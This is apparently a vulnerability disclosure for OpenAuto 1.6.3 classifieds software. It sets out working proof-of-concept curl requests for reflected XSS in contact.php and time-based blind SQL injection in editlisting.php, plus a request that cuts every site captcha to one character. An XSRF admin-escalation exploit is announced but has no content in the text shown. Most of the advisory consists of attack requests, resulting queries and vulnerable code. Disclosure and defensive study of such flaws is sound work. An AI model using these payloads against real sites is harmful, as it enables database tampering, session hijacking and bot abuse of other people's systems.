Credit:Michael Brooks Affects:OpenAuto 1.6.3 Vulnerabilites: XSRF/XSS/Blind SQLi/Captcha Bypass http://openautoclassifieds.com/ ---------------------------------------------------------------------------------------------------- Reflective XSS by adding a onclick event handler. http://localhost/openauto_full_v1.6.3/contact.php Affected post variables: seller_contact_id listing company phone from_name XSS PoC: curl -d "from_name=Dave&phone=1-123-1234&company=Software Testing&submit=Submit&from_email=test@sometest38752.com&captcha=on&listing=\" onclick=alert(1) j=\" &seller_contact_id=1&news=1&subject=on&" http://localhost/openauto_full_v1.6.3/contact.php > xss_test.html ---------------------------------------------------------------------------------------------------- PoC XSRF exploit make a user account of the attacker's choice into an admin account: ---------------------------------------------------------------------------------------------------- Blind SQL Injection. You must a dealer and you must be editing a listing that you have posted. PoC: curl http://localhost/openauto_full_v1.6.3/editlisting.php -d "ad_title=test&make=Acura&model=test&vehicle_type=4X4&doors=&color=&mileage=0&year=0000&listing_condition=&engine=&trans=&drive_train=&mpg=0&fuel_type=&price=0.00&adddesc=&vin=&stock=&country=&state=&city=&address=&zip=&seller=someuser&id=sleep(10)&submit=Update+Listing" Resulting query: UPDATE listings SET approved = 1, ad_title = 'test', make = 'Acura', model = 'test', vehicle_type = '4X4', doors = '', color = '', mileage = '0', year = '0000', listing_condition = '', engine = '', trans = '', drive_train = '', mpg = '0', fuel_type = '', price = '0.00', adddesc = '', features = '', vin = '', stock = '', country = '', city = '', state = '', address = '', zip = '', sold = '0', sellerid = '4', seller = 'someuser' WHERE id = sleep(10) ---------------------------------------------------------------------------------------------------- PoC this request will result in a capthca of only a single charicter to be dispalyed. http://172.16.111.128/Audits/other/openauto_full_v1.6.3/Captcha.php?characters=3&len=1 After this request the $_SESSION["security_code"] will be overwritten and any captcha on the site will now be chaicter in size. This list is 53 chaciters long, thus a blind bot has the chance of 1/53 of guessing the correct answer. $possible = '23456789abcdefghjkmnpqrstvwxyzABCDEFGHJKLMNPQRSTVWXYZ'; Vulnerable code: ./openauto_full_v1.6.3/Captcha.php line 36: $len = isset($_GET['len']) && $_GET['characters'] > 2 ? $_GET['len'] : '6';